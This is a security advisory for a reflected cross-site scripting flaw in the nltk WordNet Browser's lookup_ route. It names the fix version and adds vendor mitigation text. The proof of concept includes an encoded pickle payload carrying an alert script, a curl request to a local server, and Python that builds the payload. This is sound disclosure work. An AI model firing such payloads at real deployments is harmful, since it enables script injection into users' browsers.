GHSA-gfwx-w7gr-fvh7
MEDIUMImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
nltkReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
nltk.app.wordnet_app contains a reflected cross-site scripting issue in the lookup_... route. A crafted lookup_<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.
Details
The vulnerable flow is in nltk/app/wordnet_app.py:
-
- Requests starting with
lookup_are handled as HTML responses: page, word = page_from_href(sp)
- Requests starting with
-
page_from_href()callspage_from_reference(Reference.decode(href))
-
word = href.word
-
- If no results are found,
wordis inserted directly into the HTML body: body = "The word or words '%s' were not found in the dictionary." % word
- If no results are found,
This is inconsistent with the search route, which does escape user input:
nltk/app/wordnet_app.py:136word = html.escape(...)
As a result, a malicious lookup_... payload can inject script into the response page.
The issue is exploitable because:
Reference.decode()accepts attacker-controlled base64-encoded pickle data for the URL state.- The decoded
wordis reflected into HTML withouthtml.escape(). - The server is started with
HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not justlocalhost.
PoC
- Start the WordNet Browser in an isolated Docker environment:
docker run -d --name nltk-wordnet-web -p 8002:8002 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
- Use the following crafted payload, which decodes to:
("<script>alert(1)</script>", {})
Encoded payload:
gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
- Request the vulnerable route:
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
- Observed result:
The word or words '<script>alert(1)</script>' were not found in the dictionary.
<img width="867" height="208" alt="127" src="https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6" />
I also validated the issue directly at function level in Docker:
import base64
import pickle
from nltk.app.wordnet_app import page_from_href
payload = base64.urlsafe_b64encode(
pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()
page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)
Observed output:
WORD= <script>alert(1)</script>
HAS_SCRIPT= True
Impact
This is a reflected XSS issue in the NLTK WordNet Browser web UI.
An attacker who can convince a user to open a crafted lookup_... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:
- run arbitrary script in the browser tab
- manipulate the page content shown to the user
- issue same-origin requests to other WordNet Browser routes
- potentially trigger available UI actions in that local app context
This primarily impacts users who run nltk.app.wordnet_app as a local or self-hosted HTTP service and open attacker-controlled links.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | nltk | all versions | 3.9.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update nltk to 3.9.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gfwx-w7gr-fvh7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gfwx-w7gr-fvh7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gfwx-w7gr-fvh7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gfwx-w7gr-fvh7 in your dependencies?
O3 detects GHSA-gfwx-w7gr-fvh7 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.